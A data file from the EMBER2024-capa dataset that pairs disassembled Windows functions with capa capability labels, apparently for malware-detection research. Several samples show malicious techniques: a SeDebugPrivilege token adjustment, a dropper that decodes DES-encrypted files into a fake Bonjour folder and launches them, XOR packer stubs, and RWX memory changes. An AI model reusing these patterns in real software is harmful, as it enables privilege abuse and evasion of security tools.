joyce8/EMBER2024-capa huggingface dataset:
Function at 0x517680
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x65
mov byte [ebp - 0x1a], al
xor al, al
push edi
mov byte [ebp - 0x19], al
mov byte [ebp - 0x34], al
push str.SetTokenInformation
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x24], 0x74303633
mov dword [ebp - 0x20], 0x2e796172
mov word [ebp - 0x1c], 0x7865
mov dword [ebp - 0x40], 0x41564441
mov dword [ebp - 0x3c], 0x32334950
mov dword [ebp - 0x38], 0x6c6c642e
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ebx, [ebp - 0x24]
mov dword [ebp - 8], eax
call fcn.00517560
push eax
push 0
push 0x1000
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x51770d
lea ecx, [ebp - 4]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [ebp - 0x18]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
push 0
push 0x10
lea edx, [ebp - 0x50]
push edx
mov ebx, 1
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 4]
push ebx
push eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor eax, eax
push str.GetLengthSid
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
push 0x54fcf0
mov word [ebp - 0x30], 0x101
mov byte [ebp - 0x29], 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0x20
mov dword [ebp - 0x10], ecx
call esi
push eax
call edi
lea edx, [ebp - 0x30]
push edx
call eax
mov ecx, dword [ebp - 4]
add eax, 8
push eax
lea eax, [ebp - 0x10]
push eax
push 0x19
push ecx
call dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x517df0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.004fe3e0
push ebx
push esi
push edi
push 0xfff
xor edi, edi
lea eax, [ebp - 0x2007]
push edi
push eax
mov byte [ebp - 0x2008], 0
call fcn.004f9250
add esp, 0xc
push 0xfff
lea ecx, [ebp - 0x1007]
push edi
push ecx
mov byte [ebp - 0x1008], 0
call fcn.004f9250
add esp, 0xc
push 0x54fd38
push str.C:Program_Files__x86_Bonjour32cvsd.xml
mov dword [ebp - 4], edi
call fcn.004f7924
mov esi, eax
add esp, 8
cmp esi, edi
je 0x517f7a
push 0x54fd3c
push str.C:Program_Files__x86_Bonjour32decvsd.xml
call fcn.004f7924
mov ebx, eax
add esp, 8
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x517f64
push esi
call fcn.004f72d5
add esp, 4
test eax, eax
jne 0x517f0f
push esi
push 0x1000
lea edx, [ebp - 0x2008]
push 1
push edx
call fcn.004f7b85
push esi
mov edi, eax
call fcn.004f72d5
add esp, 0x14
test eax, eax
jne 0x517f0f
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0x2008]
push edi
push edx
call fcn.00518cc0
add esp, 0x10
test eax, eax
jne 0x517ef0
push ebx
mov ebx, dword [ebp - 4]
push ebx
lea eax, [ebp - 0x1008]
push 1
push eax
call fcn.004f7cf9
add esp, 0x10
cmp eax, ebx
jne 0x517f00
push esi
call fcn.004f72d5
mov ebx, dword [ebp - 8]
jmp 0x517e7e
push eax
push str.error_:_des_encode_raw__n
call fcn.004f77ab
add esp, 8
jmp 0x517f64
push str.error_:_fwrite_n
call fcn.004f77ab
mov ebx, dword [ebp - 8]
jmp 0x517f61
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0x2008]
push edi
push edx
lea eax, [ebp - 4]
call fcn.00518dc0
add esp, 0xc
test eax, eax
je 0x517f3d
push eax
push str.error_:_des_decode__n
call fcn.004f77ab
add esp, 8
jmp 0x517f64
mov edi, dword [ebp - 4]
push ebx
push edi
lea eax, [ebp - 0x1008]
push 1
push eax
call fcn.004f7cf9
add esp, 0x10
cmp edi, eax
je 0x517f64
push str.error_:_fwrite_n
call fcn.004f77ab
add esp, 4
push esi
call fcn.004f7e58
add esp, 4
test ebx, ebx
je 0x517f7a
push ebx
call fcn.004f7e58
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x518300
Capabilities:
Create directory
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push esi
call fcn.00517420
test al, al
je 0x518318
push 0
call fcn.004f814f
call fcn.00517fe0
test al, al
je 0x518328
push 0
call fcn.004f814f
push str.C:Program_Files__x86_Bonjour32
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x518343
push eax
push str.C:Program_Files__x86_Bonjour32
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
call fcn.005174c0
call fcn.00517df0
push 0x64
call esi
call fcn.005180b0
push 0x64
call esi
call fcn.00517680
call fcn.00517f90
push 5
push 0
push 0
push str.C:Program_Files__x86_Bonjour32DySDKController.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x518390
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
push ebx
push esi
mov esi, dword [ecx + 4]
mov ecx, eax
shr ecx, 4
xor ecx, esi
and ecx, 0xf0f0f0f
xor esi, ecx
shl ecx, 4
xor eax, ecx
mov ecx, eax
shr ecx, 0x10
xor ecx, esi
and ecx, 0xffff
xor esi, ecx
shl ecx, 0x10
xor eax, ecx
mov ecx, esi
shr ecx, 2
xor ecx, eax
and ecx, 0x33333333
xor eax, ecx
add ecx, ecx
add ecx, ecx
xor esi, ecx
mov ecx, esi
shr ecx, 8
xor ecx, eax
and ecx, 0xff00ff
xor eax, ecx
shl ecx, 8
xor esi, ecx
rol esi, 1
mov ecx, esi
xor ecx, eax
and ecx, 0xaaaaaaaa
xor esi, ecx
xor ecx, eax
rol ecx, 1
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 8
mov edi, edi
mov eax, esi
ror eax, 4
xor eax, dword [edx]
add edx, 0x10
mov ecx, eax
shr ecx, 0x18
mov edi, eax
shr edi, 0x10
and edi, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x571c50]
or ecx, dword [edi*4 + 0x571e50]
mov edi, eax
shr edi, 8
and edi, 0x3f
or ecx, dword [edi*4 + 0x572050]
and eax, 0x3f
or ecx, dword [eax*4 + 0x572250]
mov eax, dword [edx - 0xc]
xor eax, esi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x571d50]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x571f50]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x572150]
and eax, 0x3f
or edi, dword [eax*4 + 0x572350]
or edi, ecx
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 4]
xor edi, dword [ebp - 0xc]
mov eax, edi
ror eax, 4
xor eax, dword [edx - 8]
mov dword [ebp - 4], edi
mov ecx, eax
shr ecx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x571c50]
or ecx, dword [ebx*4 + 0x571e50]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or ecx, dword [ebx*4 + 0x572050]
and eax, 0x3f
or ecx, dword [eax*4 + 0x572250]
mov eax, dword [edx - 4]
xor eax, edi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x571d50]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x571f50]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x572150]
and eax, 0x3f
or edi, dword [eax*4 + 0x572350]
or edi, ecx
xor esi, edi
dec dword [ebp - 8]
jne 0x518410
mov ecx, dword [ebp - 4]
ror esi, 1
mov eax, esi
xor eax, ecx
and eax, 0xaaaaaaaa
xor esi, eax
xor eax, ecx
ror eax, 1
mov ecx, eax
shr ecx, 8
xor ecx, esi
and ecx, 0xff00ff
xor esi, ecx
shl ecx, 8
xor eax, ecx
mov ecx, eax
shr ecx, 2
xor ecx, esi
and ecx, 0x33333333
xor esi, ecx
lea edx, [ecx*4]
mov ecx, esi
shr ecx, 0x10
xor eax, edx
mov edx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xffff
xor eax, ecx
shl ecx, 0x10
xor esi, ecx
mov ecx, esi
shr ecx, 4
xor ecx, eax
and ecx, 0xf0f0f0f
mov edi, ecx
shl edi, 4
xor edi, esi
mov dword [edx], edi
pop edi
xor ecx, eax
pop esi
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..data
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1919673e
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6f590518
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x62
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x7d772ef6
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x71592b45
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x411255
Capabilities:
Query or enumerate registry value
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0x4c1c7cc
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0
je 0x4112ae
cmp dword [ebp - 4], 0
jne 0x4112b8
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jne 0x4112db
lds eax, [edx + 0x39]
mov bh, 0x7c
scasb al, byte es:[edi]
aaa
add ebp, dword [eax + 0x75ff9caa]
cld
pop ecx
jmp 0x411315
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x40], 1
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041121d
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x41130e
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], 0x762
jmp 0x411315
mov dword [ebp - 0x24], 0
cmp dword [ebp - 4], 0x762
jne 0x41133a
mov edx, dword [ebp - 0x24]
push edx
call section..text
add esp, 4
push 0x1a7
push 0x4cf
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 5
push 0
call dword [sym.imp.USER32.dll_GetWindow]
push 0
push 0x44f410
push 0x44f414
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHOpenRegStream2A]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x411477
Capabilities:
Get thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
push 0
push 0
mov eax, dword [ebp - 0x28]
push eax
call sub.PSAPI.DLL_GetProcessMemoryInfo
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
mov word [ebp - 0x24], 0x16
movzx edx, word [ebp - 0x24]
test edx, edx
je 0x4114e0
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x10]
push eax
call fcn.00411255
add esp, 4
call fcn.00411361
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push 0x96
call fcn.00411551
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov byte [edx], 0
cmp dword [ebp - 8], 0
je 0x411520
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.0041154c
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4115a8
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x416140
call fcn.004125c4
mov edi, 0x94
mov eax, edi
call fcn.00412610
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x44fd24], ecx
mov eax, dword [esi + 4]
mov dword [0x44fd30], eax
mov edx, dword [esi + 8]
mov dword [0x44fd34], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x44fd28], esi
cmp ecx, 2
je 0x411608
or esi, 0x8000
mov dword [0x44fd28], esi
shl eax, 8
add eax, edx
mov dword [0x44fd2c], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x411643
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x411643
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x41165b
cmp eax, 0x20b
je 0x411648
mov dword [ebp - 0x1c], esi
jmp 0x41166f
cmp dword [ecx + 0x84], 0xe
jbe 0x411643
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x411669
cmp dword [ecx + 0x74], 0xe
jbe 0x411643
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00412570
pop ecx
test eax, eax
jne 0x411683
push 0x1c
call fcn.00411584
pop ecx
call fcn.004124e7
test eax, eax
jne 0x411694
push 0x10
call fcn.00411584
pop ecx
call fcn.004123d0
mov dword [ebp - 4], esi
call fcn.004121d2
test eax, eax
jge 0x4116ad
push 0x1b
call fcn.0041155f
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4504f4], eax
call fcn.004120b0
mov dword [0x44fd14], eax
call fcn.0041200e
test eax, eax
jge 0x4116d3
push 8
call fcn.0041155f
pop ecx
call fcn.00411ddb
test eax, eax
jge 0x4116e4
push 9
call fcn.0041155f
pop ecx
call fcn.004118e6
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4116f7
push eax
call fcn.0041155f
pop ecx
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00411d72
mov dword [ebp - 0x68], eax
test byte [ebp - 0x38], 1
je 0x411718
movzx eax, word [ebp - 0x34]
jmp 0x41171b
push 0xa
pop eax
push eax
push dword [ebp - 0x68]
push esi
push esi
call edi
push eax
call fcn.00411477
mov edi, eax
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x1c], esi
jne 0x411739
push edi
call fcn.00411a1e
call fcn.00411a40
jmp 0x41176b
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.004125ff
ret
Function at 0x4133e0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x44ffd8], ebx
push esi
push edi
jne 0x413460
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x41349b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x44ffd8], eax
je 0x41349b
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x44ffdc], eax
call esi
cmp dword [0x44fd24], 2
mov dword [0x44ffe0], eax
jne 0x413460
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x44ffe8], eax
je 0x413460
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x44ffe4], eax
mov eax, dword [0x44ffe4]
test eax, eax
je 0x4134a5
call eax
test eax, eax
je 0x41348c
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x44ffe8]
test eax, eax
je 0x41348c
test byte [ebp - 8], 1
jne 0x4134a5
cmp dword [0x44fd30], 4
jb 0x41349f
or byte [ebp + 0x12], 0x20
jmp 0x4134c4
xor eax, eax
jmp 0x4134d4
or byte [ebp + 0x12], 4
jmp 0x4134c4
mov eax, dword [0x44ffdc]
test eax, eax
je 0x4134c4
call eax
mov ebx, eax
test ebx, ebx
je 0x4134c4
mov eax, dword [0x44ffe0]
test eax, eax
je 0x4134c4
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x44ffd8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415936
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00412610
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4159cb
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x44fd24]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x4159cb
cmp eax, 1
je 0x4159e3
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4159cb
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x4159a0
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x4159c7
xor eax, eax
inc eax
jmp 0x4159ff
cmp esi, ebx
jae 0x4159cf
xor eax, eax
jmp 0x4159ff
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x44fd24]
jmp 0x4159e5
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401030
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
cmp dword [0x9e7060], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401074
push 0
lea ecx, [ebp - 0x430]
push ecx
push 0
push str.serogefikajuxapowizufin_jikesijelipovocanopowum_ladahuki_nogiwodopuxeyojimada_masitobimalezal
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push str.wabux
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
mov eax, dword [0x5c7f3c]
mov edx, dword [0x5c7f38]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], edx
call fcn.00401020
mov esi, dword [ebp - 0x10]
mov ecx, dword [0x5c7f40]
mov edx, dword [0x5c7f44]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
add esi, 0x23f
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], 0x20
jmp 0x4010c4
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x9e7060]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401128
push 0
lea eax, [ebp - 0x430]
push eax
push str.patarofo_lugagodagurusol_bahecekolotegejahub
call ebx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [ebp - 0x28]
push ecx
push 0
mov dword [ebp - 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [ebp - 4]
mov ecx, dword [0x9e7060]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401142
mov dword [0x9e65fc], 0xedeb2e40
jmp 0x401154
cmp ecx, 0x3eb
jne 0x401154
mov dword [0x9e5fb0], 0
mov ecx, dword [ebp - 0xc]
lea edx, [esi + edi]
mov dword [ebp - 0x14], edx
mov edx, edi
shr edx, cl
mov dword [0x9e65f8], 0xf4ea3dee
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
cmp dword [0x9e7060], 0xc
jne 0x4011a5
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
lea eax, [esi + edx]
xor dword [ebp - 4], eax
mov esi, edx
shr esi, cl
add esi, dword [ebp - 0x24]
cmp dword [0x9e7060], 0x121
jne 0x4011e5
push str.ledolinosiwogula
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
xor eax, esi
mov dword [ebp - 4], eax
sub edi, eax
lea eax, [ebp - 0x10]
call fcn.00401010
sub dword [ebp - 0x18], 1
jne 0x4010c1
cmp dword [0x9e7060], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401222
push 0
push str.puloginuyekawayihuyufomeciyijuw
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
pop edi
